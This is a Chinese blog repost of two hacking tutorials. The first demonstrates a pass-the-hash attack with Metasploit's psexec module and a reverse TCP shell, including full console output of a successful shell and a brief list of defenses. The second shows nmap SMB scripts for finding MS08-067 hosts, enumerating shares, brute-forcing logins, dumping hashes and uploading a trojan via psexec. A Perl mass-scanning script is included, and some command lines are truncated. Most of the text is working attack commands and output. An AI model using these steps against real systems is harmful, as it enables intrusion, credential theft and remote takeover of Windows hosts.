最新消息:

传递哈希入侵技术 与针对Windows Smb的攻击方式 10种

渗透流程与思路 admin 2972浏览 0评论

前言
~~~~~~
确保密码复杂的策略使密码不能被恶意获取,是安全人员很常见的一个重要话题。而我在这篇文章中不会概述如何通过哈希和存储信息破解系统密码,在本文将侧重于演示通过窃取的密码哈希顺利侵入目标系统。我还将介绍如何检测并预防这种入侵的措施。

哈希在数据包的级别
~~~~~~~~~~~~~~~~~~~~
每当创建一个Windows帐户密码都会变成一个哈希密码。散列是一个加密函数,它接受一个任意大小的字符串作为数据的结果,是运用在数学上的加密功能,并返回一个固定大小的字符串。当你尝试访问一个由用户名和密码验证保护的主机,计算机会对你输入的密码执行密码的哈希函数计算,并提交给主机,以便可以与数据库比较取得认证。

现在,考虑一下替代方案。如果我们手动与主机建立连接,但是我们的用户名和密码并不正确,难道我们的管理员用户名和密码哈希被盗用了吗?我们所做的是获得该主机的管理权限。请记住,所有主机所关心的是接收一个匹配的哈希值。这意味着你不必执行单向散列函数的密码,你只需要提供哈希,这是对此入侵的基础。

使用Metasploit传递哈希
~~~~~~~~~~~~~~~~~~~~~~~
为了执行这项任务,我们将利用一个已被盗取哈希的受害者机器。为了执行这种攻击,我们将需要两个东西。首先,我们将需要被盗的管理员用户的哈希值。目前,地下组织对获取密码哈希值流行着许多不同的方法,而我们在这里需要利用Metasploit执行入侵。

Metasploit是由HD Moore免费提供的渗透测试框架。同时,我们在这里使用BT4 Linux Live,可以从http://www.backtrack-linux.org/?lang=zh下载,然后,你会发现Metasploit位于/pentest/exploits/framework3目录。

随着我们窃取的哈希值和手头的Metasploit,我们可以开始行动了。首先开启终端并访问/pentest/exploits/framework3目录,之后键入“ ./msfconsole”,这样以能够作为Metasploit启动控制台。

root@czy:~# cd /pentest/exploits/framework3/
root@czy:/pentest/exploits/framework3# ./msfconsole
msf >

Metasploit是一个框架,对各种模块的执行取决于行为。在这种情况下,我们将使用Psexec模块。Psexec是一个很普通的工具(不是特定于Metasploit),用于执行远程系统上的进程和输出重定向数据流。为了能够使用这个模块,键入“use windows\smb\psexec”并按回车键。之后,在Shell中的提示符会发生改变,以反映该模块正处于使用状态。

msf > use windows/smb/psexec
msf > exploit(psexec) >

然后,我们必须设置有效载荷。一旦账户和哈希已向我们提供适当的身份严重的有效载荷,我们将使用Psexec执行。在这种情况下往往存在着许多恶意意图,而不是一个刚刚公布的具体方案,我们要执行一个命令Shell,可以用它来执行许多讨厌的且重复的命令。这样做更有效的方法之一是使用反向TCP Shell。为了使用这个有效载荷,键入“set payload windows/shell_reverse_tcp”。

msf exploit(psexec) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf exploit(psexec) >

为了使用这个模块和有效载荷,我们不得不配置一些选项。为了我看到这些选项,你可以键入“show options”并按回车键。

msf exploit(psexec) > show options

Module options:

Name     Current Setting  Required  Description
—-     —————  ——–  ———–
RHOST                     yes       The target address
RHOST    445              yes       Set the SMB service port
SMBPass                   no        The password for the specified username
SMBUser  Administrator    yes       The username to authenticate as

Payload option (windows/shell_reverse_tcp):

Name     Current Setting  Required  Description
—-     —————  ——–  ———–
EXITFUNC process          yes       Exit technique: seh, thread, process
LHOST                     yes       The listen address
LHOST    4444             yes       The listen port

Exploit target:
Id  Name
—  —-
0   Automatic

msf exploit(psexec) >

为了配置选项,我们需要使用语法“set [选项名] [值]”。其值应设置为:

·RHOST – 受害者的IP地址
·SMBPass – 受害者被盗的哈希
·SMBUser -受害者的用户名
·LHOST – 你执行入侵行动的IP地址

在大多数情况下,仅有4个选项需要配置,其它可使用默认配置。

msf exploit(psexec) > show options

Module options:

Name     Current Setting                                                    Required  Description
—-     —————                                                    ——–  ———–
RHOST    192.168.0.20                                                       yes       The target address
RHOST    445                                                                yes       Set the SMB service port
SMBPass  E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C  no        The password for the specified username
SMBUser  Administrator                                                      yes       The username to authenticate as

Payload option (windows/shell_reverse_tcp):

Name     Current Setting  Required  Description
—-     —————  ——–  ———–
EXITFUNC process          yes       Exit technique: seh, thread, process
LHOST    192.168.0.128    yes       The listen address
LHOST    4444             yes       The listen port

Exploit target:
Id  Name
—  —-
0   Automatic

msf exploit(psexec) >

到这里,所有的准备工作已经完成,我们可以执行任务了。为了做到这一点,只需键入“exploit”并按回车键即可。如果成功的话,你会看到类似以下信息,这是一个不错的Windows命令Shell。现在我们无需任何管理员用户密码即可进行控制。

msf exploit(psexec) > exploit

[*] Started reverse handler on 192.168.0.128:4444
[*] Connecting to the server…
[*] Authenticating as user ‘admin’…
[*] Uploading payload…
[*] Created \tibpwnoK.exe…
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.20[\svcctl] …
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.20[\svcctl] …
[*] Obtaining a service manager handle…
[*] Creating a new service (tlfgTpTb – “MBrTRKuKR”)…
[*] Closing service handle…
[*] Opening service…
[*] Starting the service…
[*] Removing the service…
[*] Closing service handle…
[*] Deleting \tibpwnoK.exe…
[*] Command shell session 1 opened (192.168.0.128:4444 -> 192.168.0.20:1063) at Sun Jul 25 11:20:59 -0400 2010

(C) Copyright 1985-2001 Microsoft Corp.

C:WINDOWS\system32>

防御传递哈希
~~~~~~~~~~~~~~
在身份验证的过程中,由于传递哈希的性质是难以察觉和防止的,但有一些事情你可以做:

·入侵检测系统监控 – 一个IDS无法检测到攻击者通过哈希入侵的特征,因为它通常看起来像一个正常的序列验证。你可能在检测的同时,攻击者已经获得了访问权限。例如,在我们的实例中,你在受害者机器上可能不会看到对哈希传递的警报,丹妮可能会看到一个psexec创建一个Shell的警告。当检测到类似的信息时并适当地作出回应,以能够判断发生的事情。
·隔离敏感系统 – 所有包含敏感数据的机器都应该隔离。使用适当的路由器和防火墙配置即可限制访问,只有可信主机能够访问。这将防止在不同机器企图通过哈希技术进入一个敏感的系统用户。
·双因素认证 – 依靠密码作为身份验证是传统的认证方式。除了密码之外,还需要考虑其它因素,这些因素是智能卡、生物识别等。通过组合这两个因素,即可阻止任何能够只有一个密码或被盗哈希的系统用户。
·限制管理访问 – 用户帐户越多,具有垮网络的管理权限、被盗哈希概率就越高。应该始终进行定期审计,以确定每个用户是否具有超级管理员权限。

尾声
~~~~~
通过哈希很容易完成入侵行动,对受害者机器非常致命。正如你在此文中所看到的操作以及动机,可以对目标基础设施造成完全瘫痪。希望对此入侵和检测以及预防有一个战略性的认识!如果你仍然存在着细节问题,请写信件发送到我的E-Mail(Hack01[at]Live.cn)。

转自:http://blog.sina.com.cn/s/blog_51af865b0100kx05.html

针对Windows Smb的攻击方式 10种

对于各种武术而言,都有一个罩门,一半都是小JJ,小穴穴或者是眼睛,特殊的是腰部,或者是什么的,详细参考神雕大侠什么的。而SMB就是微观的罩门,
SMB(Server Message Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。SMB 是在会话层(session layer)和表示层(presentation layer)以及小部分应用层(application layer)的协议。SMB使用了NetBIOS的应用程序接口 (Application Program Interface,简称API)。另外,它是一个开放性的协议,允许了协议扩展——使得它变得更大而且复杂;大约有65个最上层的作业,而每个作业都超 过120个函数,甚至Windows NT也没有全部支持到,最近微软又把 SMB 改名为 CIFS(Common Internet File System),并且加入了许多新的特色。
开始攻击

下面本菜演示一下,老鸟请自觉飞过
1 nmap attack

nmap是一个强大的扫描工具,他还有其他的扫描方法哦

root@Dis9Team:/usr/local/share/nmap/scripts# pwd
/usr/local/share/nmap/scripts
root@Dis9Team:/usr/local/share/nmap/scripts# ls | grep smb
smb-brute.nse
smb-check-vulns.nse
smb-enum-domains.nse
smb-enum-groups.nse
smb-enum-processes.nse
smb-enum-sessions.nse
smb-enum-shares.nse
smb-enum-users.nse
smb-flood.nse
smb-mbenum.nse
smb-os-discovery.nse
smb-psexec.nse
smb-security-mode.nse
smb-server-stats.nse
smb-system-info.nse
smbv2-enabled.nse
root@Dis9Team:/usr/local/share/nmap/scripts#

检查漏洞

这里需要用到NMAP的脚本 smb-check-vulns.nse eg :

root@Dis9Team:/# nmap -sU -sS –script smb-check-vulns.nse -p U:137,T: 139 192.168.1.133

1_120210100648_1

从上面的图片种可以看出139 192.168.1.133存在MS-08-67漏洞
当然了我们也能来批量的

nmap -p445 –script=smb-check-vulns 192.168.0.*|perl -le ‘while(<STDIN>){if(/^.*?((d+.d+.d+.d+))$/) { $i = $1;} if(/^|s+(.*?):s+VULNERABLE$/ && $i ne “”){ print “$i is vulnerable to $1”; }}’

192.168.0.5 is vulnerable to MS08-067
192.168.0.11 is vulnerable to MS08-067
192.168.0.24 is vulnerable to MS08-067

如果你嫌弃命令太长你可以用这个perl脚本:

$eth = $ARGV[0];

if($eth eq “”) {
print “Usage: smb-check.pl eth< #>n”;
exit(0);
}

@ifconfig = `ifconfig $eth`;

foreach $line (@ifconfig) {
if($line =~ /^.*?inets+addr:(d+.d+.d+).d+.*/) {
$range = $1;
}
}

open(NMAP, “nmap -p445 –script=smb-check-vulns $range.*|”) || die “$!”;
while(<NMAP>) {
if(/^.*?((d+.d+.d+.d+)):$/) {
$i = $1;
}
if(/^|_s+(.*?):s+VULNERABLE$/ && $i ne “”) {
print “$i is vulnerable to $1n”;
$vuln++;
}
}

if($vuln eq “”) {
print “No vulnerable hosts foundn”;
exit(0);
}

信息探测

eg :

root@Dis9Team:/# nmap -p445 –script=smb-os-discovery 192.168.1.133

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-08 18:55 CST
Nmap scan report for 192.168.1.133
Host is up (0.00051s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:F7:A4:E9 (VMware)

Host script results:
| smb-os-discovery:
| OS: Windows Server 2003 3790 (Windows Server 2003 5.2)
| Name: WORKGROUPDIS9TEAM-6ZL2OS
|_ System time: 2012-02-08 18:55:12 UTC+8

Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds
root@Dis9Team:/#

下面来探测一下他是否有共享

root@Dis9Team:/# nmap -p445 –script=smb-enum-shares 192.168.1.133

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-08 19:00 CST
Nmap scan report for 192.168.1.133
Host is up (0.00065s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:F7:A4:E9 (VMware)

Host script results:
| smb-enum-shares:
| 1
| Anonymous access: <none>
| ADMIN$
| Anonymous access: <none>
| C$
| Anonymous access: <none>
| IPC$
|_ Anonymous access: READ

Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds
root@Dis9Team:/#

恩 有共享目录
我们可以继续升入一下:

=123456 192.168.1.133

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-08 19:01 CST
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 19:01
Scanning 192.168.1.133 [1 port]
Completed ARP Ping Scan at 19:01, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:01
Completed Parallel DNS resolution of 1 host. at 19:01, 0.24s elapsed
Initiating SYN Stealth Scan at 19:01
Scanning 192.168.1.133 [1 port]
Discovered open port 445/tcp on 192.168.1.133
Completed SYN Stealth Scan at 19:01, 0.00s elapsed (1 total ports)
NSE: Script scanning 192.168.1.133.
Initiating NSE at 19:01
Completed NSE at 19:01, 0.19s elapsed
Nmap scan report for 192.168.1.133
Host is up (0.00078s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:F7:A4:E9 (VMware)

Host script results:
| smb-enum-shares:
| 1
| Type: STYPE_DISKTREE
| Comment: 1
| Users: 0, Max: <unlimited>
| Path: C:WINDOWS
| Anonymous access: <none>
| Current user (‘administrator’) access: READ
| ADMIN$
| Type: STYPE_DISKTREE_HIDDEN
| Comment: xDCx0BxA1x06
| Users: 0, Max: <unlimited>
| Path: C:WINDOWS
| Anonymous access: <none>
| Current user (‘administrator’) access: READ/WRITE
| C$
| Type: STYPE_DISKTREE_HIDDEN
| Comment: xD8xA4qxAB
| Users: 0, Max: <unlimited>
| Path: C:
| Anonymous access: <none>
| Current user (‘administrator’) access: READ/WRITE
| IPC$
| Type: STYPE_IPC_HIDDEN
| Comment: xDCx0B IPC
| Users: 1, Max: <unlimited>
| Path:
| Anonymous access: READ <not a file share>
|_ Current user (‘administrator’) access: READ <not a file share>

NSE: Script Post-scanning.
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
Raw packets sent: 2 (72B) | Rcvd: 2 (72B)
root@Dis9Team:/#

扫描到了很多的信息 如果你在渗透种 只获得HASH,没破解出密码,你也可以用HASH批量扫描哦 亲

root@Dis9Team:/# nmap -v -p445 –script=smb-enum-shares –script-args=smbuser=administrator,smbhash=32ed87bdb5fdc5e9cba88547376818d4 192.168.1.133

1_120210100747_1

读取共享内容:

ass=123456 192.168.1.133

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-08 19:17 CST
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 19:17
Scanning 192.168.1.133 [1 port]
Completed ARP Ping Scan at 19:17, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:17
Completed Parallel DNS resolution of 1 host. at 19:17, 0.04s elapsed
Initiating SYN Stealth Scan at 19:17
Scanning 192.168.1.133 [1 port]
Discovered open port 445/tcp on 192.168.1.133
Completed SYN Stealth Scan at 19:17, 0.00s elapsed (1 total ports)
NSE: Script scanning 192.168.1.133.
Initiating NSE at 19:17
Completed NSE at 19:17, 0.39s elapsed
Nmap scan report for 192.168.1.133
Host is up (0.00056s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:F7:A4:E9 (VMware)

Host script results:
| smb-enum-processes:
|
| `+-Idle
| | `-System
| | `-smss
| | `+-csrss
| | `-winlogon
| | `+-services
| | | `+-TPAutoConnSvc
| | | | `-TPAutoConnect
| | | +-dllhost
| | | +-vmacthlp
| | | +-spoolsv
| | | +-msdtc
| | | +-svchost
| | | +-vmtoolsd
| | | `-dfssvc
| | `-lsass
| +-explorer
| | `+-VMwareTray
| | +-ctfmon
| | `-cmd
| | `-conime
|_ `-wmiprvse

NSE: Script Post-scanning.
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds
Raw packets sent: 2 (72B) | Rcvd: 2 (72B)
root@Dis9Team:/#

暴力破解

nmap能破解嘛? 话说他能WORDPRESS后台都能破解,下次分享给大家
eg :

nmap –script=smb-brute –script-args=userdb=/tmp/帐号字典.txt,passdb=/tmp/密码字典.txt IP地址 -p 445

1_120210100841_1
从上图种我们可以看出来 你懂的。。。。
导出HASH

上面说我们暴力破解到了SMB的一个账户,如果是系统权限,那我们能到处HASH!

root@Dis9Team:/# nmap -p445 –script=smb-pwdump.nes –script-args=smbuser=test,smbpass=test 192.1.1.133

但是在新版本种这个脚本不在了 哦YE~ 悲剧的是我有备份哦~
psexec

psexec大家都熟悉吧? NMAP也能这么做
命令:

root@Dis9Team:/# nmap –script smb-psexec.nse –script-args=smbuser=帐号,smbpass=密码,config=配置 -p445 IP

PSEXEC的默认配置在:/usr/local/share/nmap/nselib/data/psexec
你用的时候要下载

wget http://nmap.org/psexec/nmap_service.exe

到PSEXEC配置目录
下面做个演示:

root@Dis9Team:/# nmap –script smb-psexec.nse –script-args=smbuser=administrator,smbpass=123456,config=network.lua -p445 192.168.1.133

1_120210100920_1
我用的配置是network.lua ,大家可以自己查看内容
用的配置是network.lua ,大家可以自己查看内容
下面我自己写个lua文件
上传我自己的木马

root@Dis9Team:/# nmap –script smb-psexec.nse –script-args=smbuser=administrator,smbpass=123456,config=test -p445 192.168.1.133

^_^成功了

1_120210101002_1
转自:http://www.yunsec.net/a/security/web/jbst/2012/0210/10062.html

转载请注明:jinglingshu的博客 » 传递哈希入侵技术 与针对Windows Smb的攻击方式 10种

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址